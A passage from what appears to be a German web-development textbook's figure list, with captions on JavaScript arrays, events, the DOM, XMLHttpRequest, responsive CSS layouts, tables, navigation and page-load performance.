                           

                           Abbildung 7.24    
            Die Deklaration der Zählvariable mit »var« ist generell nicht zu empfehlen.

                           
                        

                    
                        
                           [image: Wird hingegen mit »let« deklariert, kommen sich die Zählvariablen nicht in die Quere.]
                           

                           Abbildung 7.25    
            Wird hingegen mit »let« deklariert, kommen sich die Zählvariablen nicht in die Quere.

                           
                        

                    
                        
                           [image: Setzen Sie unterschiedliche Variablen ein und Sie eliminieren dadurch eine potenzielle Fehlerquelle.]
                           

                           Abbildung 7.26    
            Setzen Sie unterschiedliche Variablen ein und Sie eliminieren dadurch eine potenzielle Fehlerquelle.

                           
                        

                    
                        
                           [image: Ein Kartenstapel aus den zehn dargestellten Karten.]
                           

                           Abbildung 7.27    
            Ein Kartenstapel aus den zehn dargestellten Karten.

                           
                        

                    
                        
                           [image: Array a vor dem Entnehmen der Karte 3]
                           

                           Abbildung 7.28    
            Array a vor dem Entnehmen der Karte 3

                           
                        

                    
                        
                           [image: Array b nach dem Einfügen der Karte 3 (→ Karo 4) aus dem Array a]
                           

                           Abbildung 7.29    
            Array b nach dem Einfügen der Karte 3 (→ Karo 4) aus dem Array a

                           
                        

                    
                        
                           [image: Array a nach dem Entnehmen der Karte 3: Die nachfolgenden Indizes sind nachgerückt (hellblau hinterlegt).]
                           

                           Abbildung 7.30    
            Array a nach dem Entnehmen der Karte 3: Die nachfolgenden Indizes sind nachgerückt (hellblau hinterlegt).

                           
                        

                    
                        
                           [image: Array a vor dem Entnehmen der Karte 7]
                           

                           Abbildung 7.31    
            Array a vor dem Entnehmen der Karte 7

                           
                        

                    
                        
                           [image: Array b nach dem Einfügen der Karte 3 (→ Pik 6) aus dem Array a]
                           

                           Abbildung 7.32    
            Array b nach dem Einfügen der Karte 3 (→ Pik 6) aus dem Array a

                           
                        

                    
                        
                           [image: Array a nach dem Entnehmen der Karte 7: Die nachfolgenden Indizes sind nachgerückt.]
                           

                           Abbildung 7.33    
            Array a nach dem Entnehmen der Karte 7: Die nachfolgenden Indizes sind nachgerückt.

                           
                        

                    
                        
                           [image: Array a vor dem Entnehmen der Karte 4]
                           

                           Abbildung 7.34    
            Array a vor dem Entnehmen der Karte 4

                           
                        

                    
                        
                           [image: Array b nach dem Einfügen der Karte 4 (Pik Dame) aus dem Array a]
                           

                           Abbildung 7.35    
            Array b nach dem Einfügen der Karte 4 (Pik Dame) aus dem Array a

                           
                        

                    
                        
                           [image: Array a nach dem Entnehmen der Karte 4: Die nachfolgenden Indizes sind nachgerückt.]
                           

                           Abbildung 7.36    
            Array a nach dem Entnehmen der Karte 4: Die nachfolgenden Indizes sind nachgerückt.

                           
                        

                    
                        
                           [image: Array a vor dem Entnehmen der Karte 2]
                           

                           Abbildung 7.37    
            Array a vor dem Entnehmen der Karte 2

                           
                        

                    
                        
                           [image: Array b nach dem Einfügen der Karte 2 (Karo 9) aus dem Array a]
                           

                           Abbildung 7.38    
            Array b nach dem Einfügen der Karte 2 (Karo 9) aus dem Array a

                           
                        

                    
                        
                           [image: Array a nach dem Entnehmen der Karte 2: Die nachfolgenden Indizes sind nachgerückt.]
                           

                           Abbildung 7.39    
            Array a nach dem Entnehmen der Karte 2: Die nachfolgenden Indizes sind nachgerückt.

                           
                        

                    
                        
                           [image: Array a vor dem Entnehmen der Karte]
                           

                           Abbildung 7.40    
            Array a vor dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array b nach dem Einfügen der Karte]
                           

                           Abbildung 7.41    
            Array b nach dem Einfügen der Karte

                           
                        

                    
                        
                           [image: Array a nach dem Entnehmen der Karte]
                           

                           Abbildung 7.42    
            Array a nach dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array a vor dem Entnehmen der Karte]
                           

                           Abbildung 7.43    
            Array a vor dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array b nach dem Einfügen der Karte]
                           

                           Abbildung 7.44    
            Array b nach dem Einfügen der Karte

                           
                        

                    
                        
                           [image: Array a nach dem Entnehmen der Karte]
                           

                           Abbildung 7.45    
            Array a nach dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array a vor dem Entnehmen der Karte]
                           

                           Abbildung 7.46    
            Array a vor dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array b nach dem Einfügen der Karte]
                           

                           Abbildung 7.47    
            Array b nach dem Einfügen der Karte

                           
                        

                    
                        
                           [image: Array a nach dem Entnehmen der Karte]
                           

                           Abbildung 7.48    
            Array a nach dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array a vor dem Entnehmen der Karte]
                           

                           Abbildung 7.49    
            Array a vor dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array b nach dem Einfügen der Karte]
                           

                           Abbildung 7.50    
            Array b nach dem Einfügen der Karte

                           
                        

                    
                        
                           [image: Array a nach dem Entnehmen der Karte]
                           

                           Abbildung 7.51    
            Array a nach dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array a vor dem Entnehmen der Karte]
                           

                           Abbildung 7.52    
            Array a vor dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array b nach dem Einfügen der Karte]
                           

                           Abbildung 7.53    
            Array b nach dem Einfügen der Karte

                           
                        

                    
                        
                           [image: Array a nach dem Entnehmen der Karte]
                           

                           Abbildung 7.54    
            Array a nach dem Entnehmen der Karte

                           
                        

                    
                        
                           [image: Array b mit dem angefügten letzten Element unseres Kartenstapels]
                           

                           Abbildung 7.55    
            Array b mit dem angefügten letzten Element unseres Kartenstapels

                           
                        

                    
                        
                           [image: Wie Sie in der Entwicklerkonsole gut erkennen können, sehen alle erzeugten Objekte gleich aus, obwohl sie auf unterschiedlich(st)e Weisen erzeugt wurden.]
                           

                           Abbildung 7.56    
            Wie Sie in der Entwicklerkonsole gut erkennen können, sehen alle erzeugten Objekte gleich aus, obwohl sie auf unterschiedlich(st)e Weisen erzeugt wurden.

                           
                        

                    
                        
                           [image: Die Restparameter »6« und »true« werden in das Array »weitereInfos« aufgenommen und sind nun als »normales« Array innerhalb der Funktion verfügbar.]
                           

                           Abbildung 7.57    
            Die Restparameter »6« und »true« werden in das Array »weitereInfos« aufgenommen und sind nun als »normales« Array innerhalb der Funktion verfügbar.

                           
                        

                    
                        
                           [image: Der Mittelwert der sechs Werte ergibt 3.]
                           

                           Abbildung 7.58    
            Der Mittelwert der sechs Werte ergibt 3.

                           
                        

                    
                        
                           [image: Beim Funktionsaufruf wird nun kein Array an Werten übergeben, sondern eine Ansammlung einzelner Werte.]
                           

                           Abbildung 7.59    
            Beim Funktionsaufruf wird nun kein Array an Werten übergeben, sondern eine Ansammlung einzelner Werte.

                           
                        

                    
                        
                           [image: Das Beste beider Welten: Beliebig viele Übergabeparameter werden durch Restparameter in Empfang genommen]
                           

                           Abbildung 7.60    
            Das Beste beider Welten: Beliebig viele Übergabeparameter werden durch Restparameter in Empfang genommen

                           
                        

                    
                        
                           [image: Das Verwenden gleichnamiger lokaler und globaler Variablen führt unweigerlich zu Verwirrung und sollte deshalb vermieden werden.]
                           

                           Abbildung 7.61    
            Das Verwenden gleichnamiger lokaler und globaler Variablen führt unweigerlich zu Verwirrung und sollte deshalb vermieden werden.

                           
                        

                    
                        
                           [image: Der vom User eingegebene Wert war 30, der um 20 erhöhte Wert ergibt somit 50.]
                           

                           Abbildung 7.62    
            Der vom User eingegebene Wert war 30, der um 20 erhöhte Wert ergibt somit 50.

                           
                        

                    
                        
                           [image: Vergleich von »innerHTML« und »innerText«: Zweiteres liest lediglich den Text, nicht jedoch die HTML-Tags aus.]
                           

                           Abbildung 7.63    
            Vergleich von »innerHTML« und »innerText«: Zweiteres liest lediglich den Text, nicht jedoch die HTML-Tags aus.

                           
                        

                    
                        
                           [image: Der Dokumentbaum für den <body>. Textknoten sind blau, Attributknoten sind grün und Kommentarknoten sind schwarz hinterlegt.]
                           

                           Abbildung 7.64    
            Der Dokumentbaum für den <body>. Textknoten sind blau, Attributknoten sind grün und Kommentarknoten sind schwarz hinterlegt.

                           
                        

                    
                        
                           [image: HTML-Code ohne Zeilenumbrüche und Einrückungen ergibt zwar einen reduzierten Dokumentbaum, ist aber nicht mehr leserlich.]
                           

                           Abbildung 7.65    
            HTML-Code ohne Zeilenumbrüche und Einrückungen ergibt zwar einen reduzierten Dokumentbaum, ist aber nicht mehr leserlich.

                           
                        

                    
                        
                           [image: Hier sehen Sie die letzten Code-Snippets inklusive der Ausgabe in der Entwicklerkonsole. Bitte beachten Sie bei der Darstellung des zweiten Knotentyps die blau unterlegte Ziffer 2: Sie deutet an, dass zweimal dieselbe Ausgabe in der Entwicklerkonsole erfolgt ist, was mit den beiden Elementtypen <p> und <figure> übereinstimmt.]
                           

                           Abbildung 7.66    
            Hier sehen Sie die letzten Code-Snippets inklusive der Ausgabe in der Entwicklerkonsole. Bitte beachten Sie bei der Darstellung des zweiten Knotentyps die blau unterlegte Ziffer 2: Sie deutet an, dass zweimal dieselbe Ausgabe in der Entwicklerkonsole erfolgt ist, was mit den beiden Elementtypen <p> und <figure> übereinstimmt.

                           
                        

                    
                        
                           [image: Die Funktionsweise eines Event Listeners: Objekt auswählen, Event (Ereignis) bestimmen und Funktion zuweisen]
                           

                           Abbildung 7.67    
            Die Funktionsweise eines Event Listeners: Objekt auswählen, Event (Ereignis) bestimmen und Funktion zuweisen

                           
                        

                    
                        
                           [image: Die Informationen, die uns zu aufgetretenen Ereignisses bereitgestellt werden, sind ganz schön zahlreich, hängen aber natürlich vom jeweiligen Ereignis ab.]
                           

                           Abbildung 7.68    
            Die Informationen, die uns zu aufgetretenen Ereignisses bereitgestellt werden, sind ganz schön zahlreich, hängen aber natürlich vom jeweiligen Ereignis ab.

                           
                        

                    
                        
                           [image: Das Event-Objekt hält Informationen zu den Mausereignissen bereit.]
                           

                           Abbildung 7.69    
            Das Event-Objekt hält Informationen zu den Mausereignissen bereit.

                           
                        

                    
                        
                           [image: Mithilfe des »mousemove«-Ereignisses kann man die Mausposition innerhalb eines Elements tracken]
                           

                           Abbildung 7.70    
            Mithilfe des »mousemove«-Ereignisses kann man die Mausposition innerhalb eines Elements tracken

                           
                        

                    
                        
                           [image: Worauf hat der User geklickt? Ein Versuch gibt die Antwort darauf.]
                           

                           Abbildung 7.71    
            Worauf hat der User geklickt? Ein Versuch gibt die Antwort darauf.

                           
                        

                    
                        
                           [image: Das mitunter unerwartete Ereignis sagt uns, dass sowohl auf den Button, als auch auf den »div«-Container und den »body« geklickt wurde.]
                           

                           Abbildung 7.72    
            Das mitunter unerwartete Ereignis sagt uns, dass sowohl auf den Button, als auch auf den »div«-Container und den »body« geklickt wurde.

                           
                        

                    
                        
                           [image: Das Ereignis bubbelt nun nicht mehr weiter.]
                           

                           Abbildung 7.73    
            Das Ereignis bubbelt nun nicht mehr weiter.

                           
                        

                    
                        
                           [image: Nicht die grafische Platzierung von Elementen ist für das Event Bubbling entscheidend, sondern die Hierarchie der Objekte im Dokumentbaum.]
                           

                           Abbildung 7.74    
            Nicht die grafische Platzierung von Elementen ist für das Event Bubbling entscheidend, sondern die Hierarchie der Objekte im Dokumentbaum.

                           
                        

                    
                        
                           [image: Einfaches Tastaturtracking auf einer Webseite]
                           

                           Abbildung 7.75    
            Einfaches Tastaturtracking auf einer Webseite

                           
                        

                    
                        
                           [image: Weil das Eingabeelement die Tastaturereignisse »durchbubbelt«, landen diese auch irgendwann beim Body. Den Rest können Sie sich denken ...]
                           

                           Abbildung 7.76    
            Weil das Eingabeelement die Tastaturereignisse »durchbubbelt«, landen diese auch irgendwann beim Body. Den Rest können Sie sich denken ...

                           
                        

                    
                        
                           [image: Der Ladevorgang hat offensichtlich geklappt, aber wir sehen (noch) nichts von den geladenen Daten.]
                           

                           Abbildung 7.77    
            Der Ladevorgang hat offensichtlich geklappt, aber wir sehen (noch) nichts von den geladenen Daten.

                           
                        

                    
                        
                           [image: Nun sind uns auch die geladenen Daten nicht verwehrt: Die »response«-Eigenschaft des »XMLHttpRequest«-Objekts stellt sie uns zur Verfügung.]
                           

                           Abbildung 7.78    
            Nun sind uns auch die geladenen Daten nicht verwehrt: Die »response«-Eigenschaft des »XMLHttpRequest«-Objekts stellt sie uns zur Verfügung.

                           
                        

                    
                        
                           [image: Nun wird der geladene Text auch im dafür vorgesehenen Container dargestellt. Yes!]
                           

                           Abbildung 7.79    
            Nun wird der geladene Text auch im dafür vorgesehenen Container dargestellt. Yes!

                           
                        

                    
                        
                           [image: Der Ladevorgang ist gut geeignet, um Usern ein entsprechendes Feedback zu geben.]
                           

                           Abbildung 7.80    
            Der Ladevorgang ist gut geeignet, um Usern ein entsprechendes Feedback zu geben.

                           
                        

                    
                        
                           [image: Ist das Laden beendet, wird der Inhalt dargestellt. Die Statusinformationen sollten nun auch noch entfernt werden.]
                           

                           Abbildung 7.81    
            Ist das Laden beendet, wird der Inhalt dargestellt. Die Statusinformationen sollten nun auch noch entfernt werden.

                           
                        

                    
                        
                           [image: Der Stand der Abfahrt in Schladming als Newsticker]
                           

                           Abbildung 7.82    
            Der Stand der Abfahrt in Schladming als Newsticker

                           
                        

                    
                        
                           [image: Die Ausgabe der übermittelten Daten mittels PHP]
                           

                           Abbildung 7.83    
            Die Ausgabe der übermittelten Daten mittels PHP

                           
                        

                    
                        
                           [image: Mozilla hat’s: eine Übersicht über die Web-APIs]
                           

                           Abbildung 7.84    
            Mozilla hat’s: eine Übersicht über die Web-APIs

                           
                        

                    
                        
                           [image: Ein Type Error tritt auf, da die Division einer Zahl und eines Strings wenig Sinn macht.]
                           

                           Abbildung 7.85    
            Ein Type Error tritt auf, da die Division einer Zahl und eines Strings wenig Sinn macht.

                           
                        

                    
                        
                           [image: Ein Error Logging hilft uns, clientseitigen Fehlern auf die Spur zu kommen.]
                           

                           Abbildung 7.86    
            Ein Error Logging hilft uns, clientseitigen Fehlern auf die Spur zu kommen.

                           
                        

                    
                        
                           [image: Durch unterschiedliche Anordnung der Gridbereiche passen wir die Darstellung der Website an unterschiedliche Ausgabegeräte an – CSS und den Media Queries sei Dank! Die abgesofteten Bereiche deuten an, dass nicht jeder Inhalt auch auf jedem Ausgabegerät sofort Platz findet und der User deshalb scrollen muss.]
                           

                           Abbildung 8.1    
            Durch unterschiedliche Anordnung der Gridbereiche passen wir die Darstellung der Website an unterschiedliche Ausgabegeräte an – CSS und den Media Queries sei Dank! Die abgesofteten Bereiche deuten an, dass nicht jeder Inhalt auch auf jedem Ausgabegerät sofort Platz findet und der User deshalb scrollen muss.

                           
                        

                    
                        
                           [image: Ein drei- oder vierspaltiges Design kann in der Regel ohne große Änderungen bis zur Tablet-Darstellung durchgezogen werden. Das Smartphone erwartet natürlich wieder einen Wechsel im Layout.]
                           

                           Abbildung 8.2    
            Ein drei- oder vierspaltiges Design kann in der Regel ohne große Änderungen bis zur Tablet-Darstellung durchgezogen werden. Das Smartphone erwartet natürlich wieder einen Wechsel im Layout.

                           
                        

                    
                        
                           [image: Ab der Tablet-Darstellung verschieben sich die Spalten.]
                           

                           Abbildung 8.3    
            Ab der Tablet-Darstellung verschieben sich die Spalten.

                           
                        

                    
                        
                           [image: Das Layout umzuschalten ist aufwendiger: Das Grid muss umorganisiert werden und Elemente müssen neu angeordnet werden.]
                           

                           Abbildung 8.4    
            Das Layout umzuschalten ist aufwendiger: Das Grid muss umorganisiert werden und Elemente müssen neu angeordnet werden.

                           
                        

                    
                        
                           [image: Designs mit nur wenigen Änderungen im Layout sind selten, aber möglich. Zumeist existiert maximal ein Umbruchpunkt oder auch keiner.]
                           

                           Abbildung 8.5    
            Designs mit nur wenigen Änderungen im Layout sind selten, aber möglich. Zumeist existiert maximal ein Umbruchpunkt oder auch keiner.

                           
                        

                    
                        
                           [image: Der unsichtbare, da außerhalb des sichtbaren Bereiches liegende Inhalt wird von rechts durch eine Wischbewegung in den sichtbaren Bereich bewegt.]
                           

                           Abbildung 8.6    
            Der unsichtbare, da außerhalb des sichtbaren Bereiches liegende Inhalt wird von rechts durch eine Wischbewegung in den sichtbaren Bereich bewegt.

                           
                        

                    
                        
                           [image: Der gezeichnete Gestaltungsraster lässt die einzelnen Spalten des Designs klar erkennen. Beachten Sie bitte auch die – wenn auch kleinen – Abstände der Inhalte zu den Rasterlinien, auf die ich noch zu sprechen komme.]
                           

                           Abbildung 8.7    
            Der gezeichnete Gestaltungsraster lässt die einzelnen Spalten des Designs klar erkennen. Beachten Sie bitte auch die – wenn auch kleinen – Abstände der Inhalte zu den Rasterlinien, auf die ich noch zu sprechen komme.

                           
                        

                    
                        
                           [image: Ein zwölfspaltiger Gestaltungsraster kann schnell zu einem Vierspalter umfunktioniert werden, indem man immer drei Spalten zu einer Spalte zusammenfasst.]
                           

                           Abbildung 8.8    
            Ein zwölfspaltiger Gestaltungsraster kann schnell zu einem Vierspalter umfunktioniert werden, indem man immer drei Spalten zu einer Spalte zusammenfasst.

                           
                        

                    
                        
                           [image: Ein Gestaltungsraster, das aus zwölf Spalten besteht, ist in CSS schnell realisiert. Der Abstand zwischen den Spalten kann mitunter als störend empfunden werden, da die farbigen Hinterlegungen nicht aneinanderstoßen.]
                           

                           Abbildung 8.9    
            Ein Gestaltungsraster, das aus zwölf Spalten besteht, ist in CSS schnell realisiert. Der Abstand zwischen den Spalten kann mitunter als störend empfunden werden, da die farbigen Hinterlegungen nicht aneinanderstoßen.

                           
                        

                    
                        
                           [image: Die Spalten stoßen nun aneinander, ein Abstand zum Spaltenrand wird dennoch eingehalten.]
                           

                           Abbildung 8.10    
            Die Spalten stoßen nun aneinander, ein Abstand zum Spaltenrand wird dennoch eingehalten.

                           
                        

                    
                        
                           [image: Da die dritte Spalte nun mehr Platz benötigt (insgesamt vier Zellen), rücken die folgenden Elemente nach, wodurch sich eine zweite Zeile an Elementen ergibt.]
                           

                           Abbildung 8.11    
            Da die dritte Spalte nun mehr Platz benötigt (insgesamt vier Zellen), rücken die folgenden Elemente nach, wodurch sich eine zweite Zeile an Elementen ergibt.

                           
                        

                    
                        
                           [image: Die erste Zeile zeigt ausschließlich Einspalter (= zwölfspaltiges Layout), die Zeile darunter Zweispalter (= sechsspaltiges Layout), danach Drei-, Vier- und Sechsspalter. Darauf folgen ein paar sinnvolle Kombinationen, aber möglich wäre so ziemlich jede Spielart an Kombinationen.]
                           

                           Abbildung 8.12    
            Die erste Zeile zeigt ausschließlich Einspalter (= zwölfspaltiges Layout), die Zeile darunter Zweispalter (= sechsspaltiges Layout), danach Drei-, Vier- und Sechsspalter. Darauf folgen ein paar sinnvolle Kombinationen, aber möglich wäre so ziemlich jede Spielart an Kombinationen.

                           
                        

                    
                        
                           [image: Das Desktop-Layout ist vierspaltig,]
                           

                           Abbildung 8.13    
            Das Desktop-Layout ist vierspaltig,

                           
                        

                    
                        
                           [image: Das Notebook-Layout ist (gemischt) dreispaltig.]
                           

                           Abbildung 8.14    
            Das Notebook-Layout ist (gemischt) dreispaltig.

                           
                        

                    
                        
                           [image: Das Tablet-Layout ist zweispaltig.]
                           

                           Abbildung 8.15    
            Das Tablet-Layout ist zweispaltig.

                           
                        

                    
                        
                           [image: Das Smartphone-Layout ist einspaltig.]
                           

                           Abbildung 8.16    
            Das Smartphone-Layout ist einspaltig.

                           
                        

                    
                        
                           [image: Die Smartphone-Darstellung passt nicht zu unseren Angaben, denn das Layout wird zweispaltig und nicht wie beabsichtigt einspaltig dargestellt.]
                           

                           Abbildung 8.17    
            Die Smartphone-Darstellung passt nicht zu unseren Angaben, denn das Layout wird zweispaltig und nicht wie beabsichtigt einspaltig dargestellt.

                           
                        

                    
                        
                           [image: Die Schriftgrößen sollen je nach Viewport-Größe unterschiedlich stark anwachsen: im Falle von Desktop-Monitoren – ausgehend von der Basisgröße – auf das Dreifache, im Falle von Smartphones auf das 1,5-Fache.]
                           

                           Abbildung 8.18    
            Die Schriftgrößen sollen je nach Viewport-Größe unterschiedlich stark anwachsen: im Falle von Desktop-Monitoren – ausgehend von der Basisgröße – auf das Dreifache, im Falle von Smartphones auf das 1,5-Fache.

                           
                        

                    
                        
                           [image: Je nach Nähe zum Bildschirm wirken Schriftgrößen unterschiedlich. Je weiter entfernt man vom Monitor sitzt, umso größer sollte die Schrift gewählt werden, um einen einheitlichen Eindruck der Schriftgröße zu erhalten.]
                           

                           Abbildung 8.19    
            Je nach Nähe zum Bildschirm wirken Schriftgrößen unterschiedlich. Je weiter entfernt man vom Monitor sitzt, umso größer sollte die Schrift gewählt werden, um einen einheitlichen Eindruck der Schriftgröße zu erhalten.

                           
                        

                    
                        
                           [image: In denBedienungshilfen kann eine (notwendige) Kontrasterhöhung eingestellt werden. Gerade im Falle von Barrierefreiheit ist das ein Thema.]
                           

                           Abbildung 8.20    
            In denBedienungshilfen kann eine (notwendige) Kontrasterhöhung eingestellt werden. Gerade im Falle von Barrierefreiheit ist das ein Thema.

                           
                        

                    
                        
                           [image: Weg mit dem Text, her mit den Logos. Das »background-image« bringt’s.]
                           

                           Abbildung 8.21    
            Weg mit dem Text, her mit den Logos. Das »background-image« bringt’s.

                           
                        

                    
                        
                           [image: Unsere gesammelten Logos. Wesentlich ist, dass jedes Logo gleich viel Platz zur Verfügung hat (hier: je 500 × 500 px)]
                           

                           Abbildung 8.22    
            Unsere gesammelten Logos. Wesentlich ist, dass jedes Logo gleich viel Platz zur Verfügung hat (hier: je 500 × 500 px)

                           
                        

                    
                        
                           [image: Wir waren erfolgreich: Anstelle vier einzelner Hintergrundbild- Dateien setzen wir nun Sprites ein.]
                           

                           Abbildung 8.23    
            Wir waren erfolgreich: Anstelle vier einzelner Hintergrundbild- Dateien setzen wir nun Sprites ein.

                           
                        

                    
                        
                           [image: Die »Material Icons« von Google sind eine wunderbare Quelle für Symbole jedwelcher Natur.]
                           

                           Abbildung 8.24    
            Die »Material Icons« von Google sind eine wunderbare Quelle für Symbole jedwelcher Natur.

                           
                        

                    
                        
                           [image: Auch »Font Awesome« stellt eine Unmenge an Symbolen für alle möglichen Anwendungsszenarien bereit. Vektorbasiert – das versteht sich ja von selbst.]
                           

                           Abbildung 8.25    
            Auch »Font Awesome« stellt eine Unmenge an Symbolen für alle möglichen Anwendungsszenarien bereit. Vektorbasiert – das versteht sich ja von selbst.

                           
                        

                    
                        
                           [image: Eine Statistik aus 2022 zeigt, dass der Anteil der Bilder – egal ob mobile oder Desktop-Darstellung – den Hauptteil der geladenen Daten ausmacht. (Quelle: https://almanac.httparchive.org/en/2022/page-weight)]
                           

                           Abbildung 8.26    
            Eine Statistik aus 2022 zeigt, dass der Anteil der Bilder – egal ob mobile oder Desktop-Darstellung – den Hauptteil der geladenen Daten ausmacht. (Quelle: https://almanac.httparchive.org/en/2022/page-weight)

                           
                        

                    
                        
                           [image: Eine ganz normale Tabelle, wie sie überall vorkommen könnte. Dass diese Tabelle nicht auf ein Smartphone passt, bedarf keiner weiteren Begründung.]
                           

                           Abbildung 8.27    
            Eine ganz normale Tabelle, wie sie überall vorkommen könnte. Dass diese Tabelle nicht auf ein Smartphone passt, bedarf keiner weiteren Begründung.

                           
                        

                    
                        
                           [image: Die ursprünglich horizontal angeordneten Spalten werden nun vertikal dargestellt. Die Beschriftung wird mittels CSS eingefügt.]
                           

                           Abbildung 8.28    
            Die ursprünglich horizontal angeordneten Spalten werden nun vertikal dargestellt. Die Beschriftung wird mittels CSS eingefügt.

                           
                        

                    
                        
                           [image: Der Inhalt des Rumpfbereichs der Tabelle ist horizontal scrollbar, die (noch vertikal dargestellten) Überschriften bleiben fix stehen.]
                           

                           Abbildung 8.29    
            Der Inhalt des Rumpfbereichs der Tabelle ist horizontal scrollbar, die (noch vertikal dargestellten) Überschriften bleiben fix stehen.

                           
                        

                    
                        
                           [image: Sollen die Inhalte der ersten Spalte mit den restlichen Spalten verglichen werden können, so empfiehlt sich dieser Ansatz.]
                           

                           Abbildung 8.30    
            Sollen die Inhalte der ersten Spalte mit den restlichen Spalten verglichen werden können, so empfiehlt sich dieser Ansatz.

                           
                        

                    
                        
                           [image: Ein Datensatz ist bereits eingeblendet, die restlichen Datensätze können per Klick auf das Plus-Symbol auf- oder zugeklappt werden.]
                           

                           Abbildung 8.31    
            Ein Datensatz ist bereits eingeblendet, die restlichen Datensätze können per Klick auf das Plus-Symbol auf- oder zugeklappt werden.

                           
                        

                    
                        
                           [image: Charts sind in manchen Fällen wesentlich besser geeignet, um tabellarische Daten darzustellen.]
                           

                           Abbildung 8.32    
            Charts sind in manchen Fällen wesentlich besser geeignet, um tabellarische Daten darzustellen.

                           
                        

                    
                        
                           [image: Die Spaltenüberschriften nehmen den meisten Platz ein.]
                           

                           Abbildung 8.33    
            Die Spaltenüberschriften nehmen den meisten Platz ein.

                           
                        

                    
                        
                           [image: Die Tabelle lässt sich nun sehr viel kompakter darstellen, ohne dass man Informationen verliert. Aber auch hier gilt: Dieser Ansatz ist nur eingeschränkt einsetzbar.]
                           

                           Abbildung 8.34    
            Die Tabelle lässt sich nun sehr viel kompakter darstellen, ohne dass man Informationen verliert. Aber auch hier gilt: Dieser Ansatz ist nur eingeschränkt einsetzbar.

                           
                        

                    
                        
                           [image: Ein unglaublich einfacher Ansatz ist das vertikale Darstellen der Überschriftenzellen.]
                           

                           Abbildung 8.35    
            Ein unglaublich einfacher Ansatz ist das vertikale Darstellen der Überschriftenzellen.

                           
                        

                    
                        
                           [image: Sechs Navigationspunkte dieser Länge sollten noch kein Problem für eine gelungene Navigation auf Smartphones darstellen.]
                           

                           Abbildung 8.36    
            Sechs Navigationspunkte dieser Länge sollten noch kein Problem für eine gelungene Navigation auf Smartphones darstellen.

                           
                        

                    
                        
                           [image: Problemlose Darstellung der Navigation: Der Platz ist ausreichend, das Design wird durch die zweizeilige Navigation nicht beeinträchtigt.]
                           

                           Abbildung 8.37    
            Problemlose Darstellung der Navigation: Der Platz ist ausreichend, das Design wird durch die zweizeilige Navigation nicht beeinträchtigt.

                           
                        

                    
                        
                           [image: Wählt man den Abstand zwischen Navigationselementen (oder irgendwelchen klickbaren Bereichen) zu klein, so besteht die Gefahr, dass sich der User verklickt.]
                           

                           Abbildung 8.38    
            Wählt man den Abstand zwischen Navigationselementen (oder irgendwelchen klickbaren Bereichen) zu klein, so besteht die Gefahr, dass sich der User verklickt.

                           
                        

                    
                        
                           [image: Nun kann sich unser User nicht mehr verklicken, da einerseits die Klickbereiche groß genug sind und andererseits auch ein Abstand zwischen den Navigationspunkten eingehalten wird.]
                           

                           Abbildung 8.39    
            Nun kann sich unser User nicht mehr verklicken, da einerseits die Klickbereiche groß genug sind und andererseits auch ein Abstand zwischen den Navigationspunkten eingehalten wird.

                           
                        

                    
                        
                           [image: Eine Piktogramm-Navigation macht immer etwas her, wenn sie denn auch zum Projekt passt.]
                           

                           Abbildung 8.40    
            Eine Piktogramm-Navigation macht immer etwas her, wenn sie denn auch zum Projekt passt.

                           
                        

                    
                        
                           [image: Der altbekannte Burger-Button: mittlerweile ein Quasi-Standard.]
                           

                           Abbildung 8.41    
            Der altbekannte Burger-Button: mittlerweile ein Quasi-Standard.

                           
                        

                    
                        
                           [image: Die eingeblendete Navigation, bei der wir unsere Erkenntnisse über die Größe der klickbaren Fläche sowie den Abstand zwischen klickbaren Elementen natürlich berücksichtigt haben.]
                           

                           Abbildung 8.42    
            Die eingeblendete Navigation, bei der wir unsere Erkenntnisse über die Größe der klickbaren Fläche sowie den Abstand zwischen klickbaren Elementen natürlich berücksichtigt haben.

                           
                        

                    
                        
                           [image: Die eingeblendete Subnavigation lässt keine Zweifel offen, dass sie eine ebensolche ist.]
                           

                           Abbildung 8.43    
            Die eingeblendete Subnavigation lässt keine Zweifel offen, dass sie eine ebensolche ist.

                           
                        

                    
                        
                           [image: Unterschiedliche Arten der Smartphone-Bedienung]
                           

                           Abbildung 8.44    
            Unterschiedliche Arten der Smartphone-Bedienung

                           
                        

                    
                        
                           [image: Mit Vorsicht zu genießen: Die per Daumen erreichbaren Bereiche (einer durchschnittlich großen Hand) zeigen, wie sehr die Smartphone-Größe das Bedienverhalten der User beeinflussen muss. Dies gilt jedoch nur dann, wenn das Gerät tatsächlich mit der Hand umklammert gehalten wird.]
                           

                           Abbildung 8.45    
            Mit Vorsicht zu genießen: Die per Daumen erreichbaren Bereiche (einer durchschnittlich großen Hand) zeigen, wie sehr die Smartphone-Größe das Bedienverhalten der User beeinflussen muss. Dies gilt jedoch nur dann, wenn das Gerät tatsächlich mit der Hand umklammert gehalten wird.

                           
                        

                    
                        
                           [image: LCP (Maß für die Ladegeschwindigkeit einer Website), FID (Maß für die Reaktionsfähigkeit einer Website) und CLS (Maß für den Prozentsatz der Seiteninhalte, die sich bei der Arbeit mit der Seite verschieben) – drei Metriken und ihre Bestimmung.]
                           

                           Abbildung 8.46    
            LCP (Maß für die Ladegeschwindigkeit einer Website), FID (Maß für die Reaktionsfähigkeit einer Website) und CLS (Maß für den Prozentsatz der Seiteninhalte, die sich bei der Arbeit mit der Seite verschieben) – drei Metriken und ihre Bestimmung.

                           
                        

                    
                        
                           [image: Eine Trace-Route-Anfrage an die Website der Berkeley University in Kalifornien]
                           

                           Abbildung 8.47    
            Eine Trace-Route-Anfrage an die Website der Berkeley University in Kalifornien

                           
                        

                    
                        
                           [image: Linz ist die Hauptstadt von Oberösterreich und betreibt eine recht flotte Website: Es werden 15 Anfragen an den Server gestellt, die nach 700 ms abgearbeitet sind.]
                           

                           Abbildung 8.48    
            Linz ist die Hauptstadt von Oberösterreich und betreibt eine recht flotte Website: Es werden 15 Anfragen an den Server gestellt, die nach 700 ms abgearbeitet sind.

                           
                        

                    
                        
                           [image: Da die Requests paketweise verarbeitet werden, haben wir ein gutes Indiz dafür, dass (das mittlerweile veraltete) HTTP/1.1 zum Einsatz gelangt.]
                           

                           Abbildung 8.49    
